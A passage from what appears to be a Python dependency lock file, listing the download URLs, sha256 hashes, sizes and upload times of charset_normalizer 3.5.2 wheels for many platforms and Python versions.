{ url = "https://files.pythonhosted.org/packages/82/44/b0aa350280e6ff5a5492d17cf10460dd39d5ee848f872f7ba2df10607f60/charset_normalizer-3.5.2-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:4c2b5031f63e331e3839b40aed2dd6f191e9c07edbde303e7876846ea1946995", size = 210449, upload-time = "2026-09-30T04:36:32.625Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/7c/8a/40db9aa9f5907bb0e6f8b6d64064bf8852fb33d4b813ff9414911df7647c/charset_normalizer-3.5.2-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:fcff63213e8e6e47770541a4607175404f47cbb3ebea7b6058cc82d524a0e424", size = 367815, upload-time = "2026-09-30T04:36:34.197Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/7f/72/9c5e7707b57c8ddfa9ddf7b0b1d009d7fbab9e9e887d5b721060f37e307d/charset_normalizer-3.5.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8d86d6fc60743dc916eb79e2eb1ec4818e21e427731543af40a3021851174a13", size = 247095, upload-time = "2026-09-30T04:36:35.803Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/83/09/71e453691e927de4ddf792770cfaab3f49d494e222f66ea5e404bbd5e39c/charset_normalizer-3.5.2-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:7a881931aa470808df94a8c380eed2bbbc76cd9dc622310f99665658c821eb6d", size = 233942, upload-time = "2026-09-30T04:36:37.407Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/9f/86/85c84e4da8b27dd409577d9437926ff581c5f9d3c66038dc68c1a526de51/charset_normalizer-3.5.2-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8024d00c3faf3fc0c16e07a69f4405e8eac7cc0ab15f65fe6cf43827c4cf72b4", size = 273762, upload-time = "2026-09-30T04:36:38.904Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/92/08/564955a4b5f2ccb410ab480bbe8c6a18063ff27f2d35458731c4a5335df9/charset_normalizer-3.5.2-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4d48f2d08b9de5864e2c8744d4461b862fb149a18274abc8b698c45975573438", size = 269514, upload-time = "2026-09-30T04:36:40.469Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/18/24/bad3ac4271589df29cf5ce2f5ae490518a5739358052bd0d61209e6fea54/charset_normalizer-3.5.2-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:34276fd796040bf0993ab33a369aa572e6979c7aab225a88893667ad8eac8f7a", size = 255056, upload-time = "2026-09-30T04:36:42.02Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d6/3e/350d89ad49916b86554d6f5f2d03ec1152148f87e5ff735106c6a03b1a36/charset_normalizer-3.5.2-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0521c5665880b33d603717defa76c094048900010897909952397feb3039da56", size = 251311, upload-time = "2026-09-30T04:36:43.577Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/56/5b/4970a2d154df502e133402906dd04e3ae7cada7b3011283c88d0479a2585/charset_normalizer-3.5.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:eff0ac9dbe711a4aee69bf04a83896aa9b85f19641264053a9f6d48573abb7dd", size = 250190, upload-time = "2026-09-30T04:36:45.185Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/88/8c/f1a91bddc8fb47c2889e29ea7ea49a194eb0d9868675d786806519c00d76/charset_normalizer-3.5.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:1503bccbeb36d5527790c3930327704c39af22de3112f1b1666a9f3ce15ee204", size = 237098, upload-time = "2026-09-30T04:36:46.689Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/24/0e/bb5dace3cc7e79068425386a6589c19b5a2ab5fefc2a46abea6919683332/charset_normalizer-3.5.2-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:52aa6992700996af31f375de0c6bacd402b0097fe40b53c426b9f51a90ebabc7", size = 274228, upload-time = "2026-09-30T04:36:48.31Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/9d/79/b849ad523017ea9f5a45581bbebed91439e0cf42fd2860a6f64e358eb5a6/charset_normalizer-3.5.2-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:e09a3942ecbdee5cce73ea9d42da82b81b72ac1bf031ce069b93b5adf4eac8cd", size = 252401, upload-time = "2026-09-30T04:36:50.091Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/89/8c/75469d690cf47200bce8f6cad7655724fc23148e147abfc5ce78b5f65863/charset_normalizer-3.5.2-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:c7c9ab723cde841fefb34efbad91e87f00a674b1fe1cd0784fde742bf2c154dc", size = 271846, upload-time = "2026-09-30T04:36:51.719Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/26/cd/6d52d3c7437cdcf2e310ce9f28f282e733d4ef60ed19105d1819c356255f/charset_normalizer-3.5.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ddc7dacc8ece3a182e7f15cb862d1fd616b46d076cb1ae9dd232b2c38b655874", size = 258151, upload-time = "2026-09-30T04:36:53.234Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f7/4c/070b38bdb5f49a70199fce923ec0726a49536a63ab262abbfcaaf351110b/charset_normalizer-3.5.2-cp314-cp314-pyemscripten_2026_0_wasm32.whl", hash = "sha256:ee43c17b173d46a3212baa6ead3ae258eeabdae48c263a01ccf0218c366dd655", size = 143570, upload-time = "2026-09-30T04:36:54.816Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/81/84/9ebfc8ed6c8c4fcd8e726ff6bf220cc8deb3966e31dce9be8dd8aa017e64/charset_normalizer-3.5.2-cp314-cp314-win32.whl", hash = "sha256:4f87960d57feabfb618e4e0af6e7371645fa26a277860739d6e5d6e0012c92f0", size = 186412, upload-time = "2026-09-30T04:36:56.643Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d1/78/5ed86f743d4bc350db307e7636419a0a5ee1d91806d30c7f667bd5c80dae/charset_normalizer-3.5.2-cp314-cp314-win_amd64.whl", hash = "sha256:e4e81e09c1578b8df602e3db08b0b3ea0a6947ad612f52bf8dc5ea8d47691f0c", size = 210965, upload-time = "2026-09-30T04:36:58.205Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/53/94/a3a7698e9b1a395e1eb99ccd9a324be9347973bff4e72db2a06496d7cd27/charset_normalizer-3.5.2-cp314-cp314-win_arm64.whl", hash = "sha256:80d02b6f04e92601a081dd97b23d3128033098bff5d35d392ddcc0476ea11253", size = 200406, upload-time = "2026-09-30T04:36:59.764Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c1/48/c5dd00d5ef7791f02666de250a5bb6071e29b7e133cf4b835800b6d3bc27/charset_normalizer-3.5.2-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:dca9ab98072a5a54ebacebdc45f53e645336b320c667410b061be1ca588ae709", size = 396871, upload-time = "2026-09-30T04:37:01.543Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/12/c8/8379554b42e8368161d898476686947a0fdbd3e8865170d7909dcabfdee8/charset_normalizer-3.5.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f0aa869112ef88429ae17820d99c3dd9504c9e9c671d3c246f3d7442cb051084", size = 249711, upload-time = "2026-09-30T04:37:03.111Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/4a/eb/2ddb1035d17320caa9f41682935123a9a250277b261c3efc86b2d2a21343/charset_normalizer-3.5.2-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c0afc6800ba57ccc350374c5bd6150419915d95ce93cdbab2d783d75eaf30ecb", size = 231146, upload-time = "2026-09-30T04:37:04.721Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/4a/24/2ecb4bde104322cd7859d6594fcfa74649f8d90b3221c9feecbef149875b/charset_normalizer-3.5.2-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7dcd882da75ef9adf94903b1e3b9419e8aa8fb4c7396822b834b9ef7fb96954f", size = 271552, upload-time = "2026-09-30T04:37:06.295Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/3f/98/9d5f6ebc3aee9fef5d30b4aff11fb2ab7a1222b4064f8ef2c7c87cde217a/charset_normalizer-3.5.2-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2e06a3a98f916dd41d27f3105e02e7a40181c98c94b9158733d03a6f80506c09", size = 269810, upload-time = "2026-09-30T04:37:07.905Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/09/e1/a3b06a10461b1b7628853c934c644e03bc28e42767116afb52f19a56519b/charset_normalizer-3.5.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6bd128f206a7752ae1f2ab6c61bf8a24ba28913a10df8b14c2637b973ff97a80", size = 259845, upload-time = "2026-09-30T04:37:09.554Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/fd/d3/6f561f74a296cf27d61775a1dc665ad13f3bff6a798810ca05907f37a7c4/charset_normalizer-3.5.2-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c8f3d67aeaf55f017982b73683f0e7342ba2f6635a78f69ce89ebb26aa411e5c", size = 252825, upload-time = "2026-09-30T04:37:11.274Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/26/9f/69e13ca3b18f43e0eafcd34c04a45b732ae22a43b54a5fc9e119103356eb/charset_normalizer-3.5.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:fe9753dfee015c570d73df76f899f18444d41388bffcde097deba51c4fadbb9f", size = 252659, upload-time = "2026-09-30T04:37:12.941Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/73/a9/ace29806a0dae18939919c76ba526472d83214afa101105fabff2cf30625/charset_normalizer-3.5.2-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:92888bb3187c5ba50500b00b3b310c9f2c651709d28036077680cb5255450a03", size = 238819, upload-time = "2026-09-30T04:37:14.659Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f8/c1/6116d52a2e3311ec80f21f5fb5e17b27405f10b9608af8f6e69516841a1b/charset_normalizer-3.5.2-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:d008d90a7f2471519aef0c90dfbe73b3e6e4d5e66ac48e19154c17e89e98b604", size = 272973, upload-time = "2026-09-30T04:37:16.346Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/19/aa/9955c7e93bba10a9c7e8f7a5031b7ced66f3a1883a55c00712b8d5850ff3/charset_normalizer-3.5.2-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:31f3930700408d211f13378ccbe1c40845d8da54bd0681fac3a9b5aae81c7aa8", size = 253692, upload-time = "2026-09-30T04:37:18.212Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/bb/33/2a6ae7fdc1b10cb581cef91addd8cdfc5f40d50abb5702309369d5834579/charset_normalizer-3.5.2-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:2a925889534b3748302dae5dead07cc13480de1dac3aea80a941b729b471ef93", size = 268757, upload-time = "2026-09-30T04:37:19.877Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a2/22/80992720a0282cd39bba1db35868e6b9c22f41281160143a836544bc1d8a/charset_normalizer-3.5.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:f5ec61164adcec446f8969a3358ec3f9b26bbda3b9213e5586d219afa8df2915", size = 262220, upload-time = "2026-09-30T04:37:21.583Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/92/9f/181fd07e1bffea1d95cd80c84ac537354f50699c22cfc4d3c02b6fc16208/charset_normalizer-3.5.2-cp314-cp314t-win32.whl", hash = "sha256:598a11a2c7ebaa5334bf698bf29568c9c390abac6a154d8170fedecd1cea38c5", size = 197797, upload-time = "2026-09-30T04:37:23.235Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/49/1c/25d8415ec1c4f2f41f1680435e4c87cfb378ff2f677d950946f2a45d0632/charset_normalizer-3.5.2-cp314-cp314t-win_amd64.whl", hash = "sha256:7fdde2c9fd9e3eca40631e024664cf2584272cc8f96308cbe5fdfc930f51d8bc", size = 222765, upload-time = "2026-09-30T04:37:24.891Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/3e/b4/46b48f013dadfc0d0d33b375438e31bdf5a989dc68389c6bf627054d4df9/charset_normalizer-3.5.2-cp314-cp314t-win_arm64.whl", hash = "sha256:d1befeed746d247c81127bb14de9dc3d30edb6e5976d34f83f86ed262b1d9105", size = 210985, upload-time = "2026-09-30T04:37:26.634Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/ca/e9/34e597dee616d0b8ee4b34d29399e85c2204ade174157a48505d42baa4ff/charset_normalizer-3.5.2-cp315-cp315-macosx_10_15_universal2.whl", hash = "sha256:87475fabc8d9996fd9c27debb395e642e8c838d78a00b6e932227a0e06b81e26", size = 367676, upload-time = "2026-09-30T04:37:28.329Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/60/9f/a5d1c91c0263745e2cd344c5a4415d787c575501ab1d449f1148ac6b495d/charset_normalizer-3.5.2-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9409a8bf35cf78353942504b24a57de3d75b708997a1e4bd8db71ac8633ce364", size = 248414, upload-time = "2026-09-30T04:37:30.167Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/26/79/e697f77464748a3ee3cf490c83d592459400d4898380d66c38366b03080c/charset_normalizer-3.5.2-cp315-cp315-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:498dc3188ca05a68231ac3fdbfc7f57eb67e1343c30e0fea17f8218c1599b253", size = 244775, upload-time = "2026-09-30T04:37:31.964Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/ca/87/3d42a42e18ea066e2513936fd678a00696e77878b5ae04528976abdbcb83/charset_normalizer-3.5.2-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e242bb1c5e76e97dfa9e7f209a71e93a01d7f19ffdd5cfbb2e2d55b4f08f8ab0", size = 273877, upload-time = "2026-09-30T04:37:33.661Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c3/76/8a28136f3938ba9836f84280ce0c4d61ed1cf15a036b2034900c62634162/charset_normalizer-3.5.2-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:def79fa35ef0cef8d2accec024f4fdc7ead3012ff02f5215c783f39f03ef8cfc", size = 269455, upload-time = "2026-09-30T04:37:35.573Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a0/a1/4fbf5d0f0f1b2a080474c1cf9a2f12c4c6531bb0e8ba591055e846d2b4e9/charset_normalizer-3.5.2-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3df041de8887954562c9b261cba85ca0e9ded74048daf125f45edcfaa4832229", size = 257336, upload-time = "2026-09-30T04:37:37.397Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/ba/a2/8b50aa320adb880ad579518e6f718f24944804b42a88b83d267d5d444125/charset_normalizer-3.5.2-cp315-cp315-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:04851f73ae72b8413dddadb16a49dfee95263553741fd42d546f7d66907e6be5", size = 257584, upload-time = "2026-09-30T04:37:39.522Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a5/57/50e3fed84e175f40349bd0da7a4fce94c87f0378f52d74f511d89e0bdc20/charset_normalizer-3.5.2-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:183b88127acdb4fabe59d951ab424faf1af7b63cdbb5f776186c1ea2ffcaed98", size = 251854, upload-time = "2026-09-30T04:37:41.23Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d6/54/f7fbb3493c9f49091213b9c2d6dd65800696f1ce1a3f196a4205f50417b1/charset_normalizer-3.5.2-cp315-cp315-musllinux_1_2_armv7l.whl", hash = "sha256:16fa0eccf81304b79c5cd87f9271c3b85dd9dd99245e4422ae9c0dd45e0f99d3", size = 248767, upload-time = "2026-09-30T04:37:42.883Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d9/37/b3a6385acc5a1e45b39ae9c90bfb9cf838a09b9dd37ef2740ab4c6b4a2eb/charset_normalizer-3.5.2-cp315-cp315-musllinux_1_2_ppc64le.whl", hash = "sha256:7441d755b7ab94f8d4eb3e43ec05482d760842fd263d003a99102d742cd835e2", size = 274479, upload-time = "2026-09-30T04:37:44.658Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/89/44/809913e2cfd279e635a9294fdbbfb1b1dc62a8189d473d561f649fce98d8/charset_normalizer-3.5.2-cp315-cp315-musllinux_1_2_riscv64.whl", hash = "sha256:ca403d7e4798f525fdfc78e258820419cbbd0f0ecbab9de7840e3c017cf6b8cf", size = 258310, upload-time = "2026-09-30T04:37:46.529Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/af/a2/f28400ab13359d91bd39179df8e149376b9bf36588e739a3a4f9de2b84b2/charset_normalizer-3.5.2-cp315-cp315-musllinux_1_2_s390x.whl", hash = "sha256:df29a0a7107f7011e77f4eebdddec4c7331e24d787a0b21a46d63bdf7445da95", size = 271100, upload-time = "2026-09-30T04:37:48.399Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/e9/89/9bab37955edf0adb3b66f8a3a6617d9f2f487e0d56f295a6a286cb640aa6/charset_normalizer-3.5.2-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:f3c96f633825733f735c5a9cf21d21a257d8e1edf0b1cee0a064b9c424ca0f7d", size = 259936, upload-time = "2026-09-30T04:37:50.023Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/23/b5/4459e08d45a679f903d50fea08bc52cfa728cca4d7bd02c757b5e5abda2e/charset_normalizer-3.5.2-cp315-cp315-win32.whl", hash = "sha256:281cb91036248400f4cc957495cccd44c275c2e0c5854f7e45ac5cf7dc193847", size = 186301, upload-time = "2026-09-30T04:37:51.722Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/98/e8/55d5fd3935b4bce6da4fe0df61898e8c82653e317e677bd58aceb9c60f13/charset_normalizer-3.5.2-cp315-cp315-win_amd64.whl", hash = "sha256:89b53f3cda69831909888e0494f4fa0bcd3537e3e138dabeb620bd6ad946bae8", size = 210858, upload-time = "2026-09-30T04:37:53.427Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a9/5b/974423c2fd8e524c7a7f64318c1e02240ef954912fa2b4d70344107b9c68/charset_normalizer-3.5.2-cp315-cp315-win_arm64.whl", hash = "sha256:6be488a102b8cf28d0391d8c4ba7748938ae28b78ad901f8585520fca33ead1a", size = 200309, upload-time = "2026-09-30T04:37:55.015Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/ee/f9/00ee0195db1013d8f7c416fd770fbeb560bb46eb2e36b054d05cb56f6cfa/charset_normalizer-3.5.2-cp315-cp315t-macosx_10_15_universal2.whl", hash = "sha256:915563965d418f986e7e145accc592eae9e1a1be3566ff98a05d7a9ec42a76e1", size = 395343, upload-time = "2026-09-30T04:37:56.743Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/04/3a/c00b50e94c964cf934c7899cd47c97952fc11dad71cc5884b3c61795b09b/charset_normalizer-3.5.2-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:65cd72beeeca9d3aaea1201e5923859f308f952f9c71de93f06063c79f0f7a3b", size = 250114, upload-time = "2026-09-30T04:37:58.607Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/50/27/d102dc880bbcffd0479ab64dfc1fb96777a854355a55e2bda72a71efadcb/charset_normalizer-3.5.2-cp315-cp315t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:b7fd005a73d9e657273b7a10dc71a9e03c8fb9ee6999798d6918ce095b81ac7f", size = 239997, upload-time = "2026-09-30T04:38:00.511Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a5/4a/bf7ef45794dd293fab5f98a9309817977fbb845b9998f171b8cc5d8437a3/charset_normalizer-3.5.2-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e54da4baf05720032d527874d40b65fa4d7e5c6c6a43d0c3adbeffcaf275a2b3", size = 272313, upload-time = "2026-09-30T04:38:02.509Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/e8/ee/008a2837737991474c5754bb3191010007663860979701990982a502cbaf/charset_normalizer-3.5.2-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:124fbf1a8ff966d87ae05bb8bd45a71f966055ed8bba320d0c7cf450bc5f4d0e", size = 269986, upload-time = "2026-09-30T04:38:04.435Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/93/ad/bd74a283940dc910c5b14f8e4f80a248082bc9c0fcbe1f54530cb6d9cc5e/charset_normalizer-3.5.2-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:28b4f0d66fb834ff90f28209ac7bce77868c45d8c93e26f906709d9b7c2e1af9", size = 260202, upload-time = "2026-09-30T04:38:06.549Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/8a/7b/ed341c66f69f688723501fac752be3d63c7159ca0d0d4174fc611e5710bb/charset_normalizer-3.5.2-cp315-cp315t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:58ca3755ee7ff7f59b57789ec9833c9de9ea275405cdd240eda1f193112e398a", size = 259083, upload-time = "2026-09-30T04:38:08.311Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/cc/9d/e41588b777965e5031a43128a1e96173ebb35ac75fc53ec3b517e7c21cd4/charset_normalizer-3.5.2-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:443eae2bf318abeaf6f15d785138f71fd6de770e99a92158b8b814265e079115", size = 253081, upload-time = "2026-09-30T04:38:10.402Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/81/35/b761eb6d8c1eb218b9b42b9b4d5ac902afdc399fb6dac6f9a9aac7bda589/charset_normalizer-3.5.2-cp315-cp315t-musllinux_1_2_armv7l.whl", hash = "sha256:58f361dcbab699cf8f42db3f47c8e7fd1036f138c23a5d08de9fde5f425a730c", size = 248712, upload-time = "2026-09-30T04:38:12.317Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/4d/2c/147169a041b747759f37405c0a97157e8e92de967968373101ff14915cba/charset_normalizer-3.5.2-cp315-cp315t-musllinux_1_2_ppc64le.whl", hash = "sha256:1b4cbc7c3491ccb4aa17fcd8165649d01cf39f76de1696da8631b5f71b85401d", size = 274176, upload-time = "2026-09-30T04:38:14.138Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f0/2d/0ff8db0d373ba8538db686db11cd7e8912031490b9e4f383b41912e8d594/charset_normalizer-3.5.2-cp315-cp315t-musllinux_1_2_riscv64.whl", hash = "sha256:ba0b1d2620edf869789c3879223f52bf2afc5d31b3cb47cc57b3a12c05e2aa9d", size = 259413, upload-time = "2026-09-30T04:38:15.841Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/8a/8e/b4a085fb47c9d3a7e43576a4784fdd8fe23f907514a972de8086edaf7a48/charset_normalizer-3.5.2-cp315-cp315t-musllinux_1_2_s390x.whl", hash = "sha256:5e2b6b57e9733d39f0c9fd3185efa6b8e29652c4cd8fe94180272cf6ed9a78c4", size = 269434, upload-time = "2026-09-30T04:38:17.626Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/83/1c/d8d8d7322a7c3eecdf3237a4a419cf41d2eaad8e006ce7dfdd9d4c8fa2eb/charset_normalizer-3.5.2-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:51cf45226a9b588d0d2b4880c62d686934b63ab0bd79ca23ab0e9762eb27441b", size = 262716, upload-time = "2026-09-30T04:38:19.214Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a0/16/0e4c6ba9b44e97a2da150e52d331e8f9c968b21b358fbffa6c856cebcd89/charset_normalizer-3.5.2-cp315-cp315t-win32.whl", hash = "sha256:5fb29fb8cd1a46c27a1bf9613ad5ec2599310d46b4025d9556404a6b6a292800", size = 197159, upload-time = "2026-09-30T04:38:21.037Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/be/33/e90bc2b1374f7f36ef106f56620de5a783907e19ca857efe2277e31cac3e/charset_normalizer-3.5.2-cp315-cp315t-win_amd64.whl", hash = "sha256:a192e2c40070d92c3ccf777e3a5c4ff515573cd2bb7ed0c537fdadbbec5bbf21", size = 221322, upload-time = "2026-09-30T04:38:22.886Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/66/89/dfa6dcb08c200b7830ab56439e8c1890f2971d51aafbb3937894a2e7fcfc/charset_normalizer-3.5.2-cp315-cp315t-win_arm64.whl", hash = "sha256:749e97e1b32313717a565abbe321bc2190bc8b35f1a67e4cdbc7c56c8d8ffe58", size = 209192, upload-time = "2026-09-30T04:38:24.648Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/8c/ab/176fbfd5b64939c55d652366aa5b9ef1d767af207a3aa6ebeb0d226c484d/charset_normalizer-3.5.2-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:4275811936e2f06feff5e598fb42a1b7ae852da8e39605211892b56b81a34efd", size = 331815, upload-time = "2026-09-30T04:38:26.216Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/7e/84/371eac6b30bdbcbf2d632a1a01809103459216fcaae61b8b8d922c1bfb8a/charset_normalizer-3.5.2-cp37-abi3-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1c50fe28bbc2ced33386f298650d91218076c05420e6cbd790b913adc41659e7", size = 253276, upload-time = "2026-09-30T04:38:28.032Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/43/6f/c4fbae58febff71709c51bc7e18fdfa55341dc382704740f9f0cbf03817b/charset_normalizer-3.5.2-cp37-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d19fbd981a488e22cd04883659ca6b08f50b5974f9fd7c95655ef6a043e5893f", size = 241239, upload-time = "2026-09-30T04:38:29.732Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/61/71/458c3f42164a07d0c5210798e9e704b39e540a6793b05aba67f3a35243a9/charset_normalizer-3.5.2-cp37-abi3-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0fed1d06615f022ee3b13caf5e8b180cfea32bb2c5aded8a9d44277afc040f93", size = 231121, upload-time = "2026-09-30T04:38:31.462Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/09/54/ab9e89367076f6331bb6c65c4bf14a5361fa5191cb6561bf534f18504e1b/charset_normalizer-3.5.2-cp37-abi3-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:838dcc90063569a0448120554591a1d6c4a4ffe11babf048908793154ab86ade", size = 260350, upload-time = "2026-09-30T04:38:33.239Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/7c/c1/061431ecc688d9d76602502cb57cc01e691e682c18f1beb45f9673b5bbd2/charset_normalizer-3.5.2-cp37-abi3-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2ce45c6627b22c47e390bc91a41c3d13032192e699fa0bea96e9671b373d69b0", size = 255430, upload-time = "2026-09-30T04:38:34.865Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/8d/1f/20c8949f0676f7ab811abdeb7f4d7f1cbc6e61ff20bef08b44edeb092bc8/charset_normalizer-3.5.2-cp37-abi3-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0774bf9bf620249fee3e0b8b9fd3065de213be30f3aa94ce2494b3b638949e26", size = 250612, upload-time = "2026-09-30T04:38:36.649Z" },
|
||||||
|
